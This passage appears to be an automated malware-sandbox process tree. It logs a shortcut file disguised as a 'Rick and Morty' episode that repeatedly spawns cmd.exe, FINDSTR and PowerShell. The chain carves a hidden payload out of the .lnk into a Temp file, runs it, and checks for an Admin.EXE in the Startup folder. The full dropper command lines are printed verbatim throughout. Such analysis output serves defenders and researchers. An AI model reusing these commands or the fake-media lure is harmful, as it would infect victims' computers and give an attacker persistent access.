        277⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:908
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        278⤵
        
        PID:5500
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0338" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        279⤵
        
        PID:1216
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        279⤵
        
        PID:4072
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        280⤵
        
        PID:3236
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0413" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        281⤵
        
        PID:5460
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        281⤵
        
        PID:564
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        282⤵
        
        PID:1752
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0473" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        283⤵
        
        PID:4336
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        283⤵
        
        PID:4860
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        284⤵
        
        PID:4840
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        285⤵
        
        PID:3248
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0537" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        285⤵
        
        PID:2180
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        285⤵
        
        PID:4852
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        286⤵
        
        PID:4708
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0624" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        287⤵
        
        PID:5000
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        287⤵
        
        PID:4996
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        288⤵
        
        PID:1176
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0698" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        289⤵
        
        PID:6128
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        289⤵
        
        PID:3952
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        290⤵
        
        PID:3128
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0752" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        291⤵
        
        PID:3964
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        291⤵
        
        PID:1800
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        292⤵
        
        PID:4524
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        293⤵
        
        PID:5656
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0816" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        293⤵
        
        PID:4992
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        293⤵
        
        PID:5180
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        294⤵
        
        PID:3388
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0913" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        295⤵
        
        PID:4608
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        295⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2400
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        296⤵
        
        PID:5212
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0010" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        297⤵
        
        PID:3184
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        297⤵
        
        PID:1676
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        298⤵
        
        PID:5836
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0071" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        299⤵
        
        PID:2148
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        299⤵
        
        PID:1616
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        300⤵
        
        PID:5040
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0127" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        301⤵
        
        PID:3504
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        301⤵
        
        PID:4556
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        302⤵
        
        PID:4332
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0207" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        303⤵
        
        PID:4660
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        303⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1544
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        304⤵
        
        PID:2388
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0295" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        305⤵
        
        PID:3360
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        305⤵
        
        PID:3772
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        306⤵
        
        PID:5136
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0363" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        307⤵
        
        PID:5232
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        307⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2332
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        308⤵
        
        PID:1268
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        309⤵
        
        PID:1216
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0443" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        309⤵
        
        PID:5724
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        309⤵
        
        PID:940
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        310⤵
        
        PID:5712
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0513" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        311⤵
        
        PID:2444
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        311⤵
        
        PID:5608
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        312⤵
        
        PID:464
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0584" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        313⤵
        
        PID:440
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        313⤵
        
        PID:2484
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        314⤵
        
        PID:4628
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0660" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        315⤵
        
        PID:972
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        315⤵
        
        PID:5476
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        316⤵
        
        PID:1760
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        317⤵
        
        PID:3968
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0729" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        317⤵
        
        PID:3272
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        317⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3996
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        318⤵
        
        PID:3928
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0801" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        319⤵
        
        PID:3360
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        319⤵
        
        PID:2360
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        320⤵
        
        PID:2780
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0857" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        321⤵
        
        PID:3300
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        321⤵
        
        PID:2452
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        322⤵
        
        PID:4512
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0960" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        323⤵
        
        PID:700
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        323⤵
        
        PID:6120
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        324⤵
        
        PID:4832
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        325⤵
        
        PID:2660
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0026" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        325⤵
        
        PID:3760
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        325⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5684
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        326⤵
        
        PID:6012
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0101" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        327⤵
        
        PID:4236
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        327⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3776
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        328⤵
        
        PID:5140
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0179" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        329⤵
        
        PID:1648
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        329⤵
        
        PID:5200
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        330⤵
        
        PID:4660
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0241" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        331⤵
        
        PID:1264
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        331⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4244
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        332⤵
        
        PID:4880
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0307" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        333⤵
        
        PID:3644
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        333⤵
        
        PID:5380
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        334⤵
        
        PID:4148
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0379" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        335⤵
        
        PID:4992
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        335⤵
        
        PID:4132
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        336⤵
        
        PID:3812
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0446" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        337⤵
        
        PID:1972
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        337⤵
        
        PID:5620
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        338⤵
        
        PID:5856
        
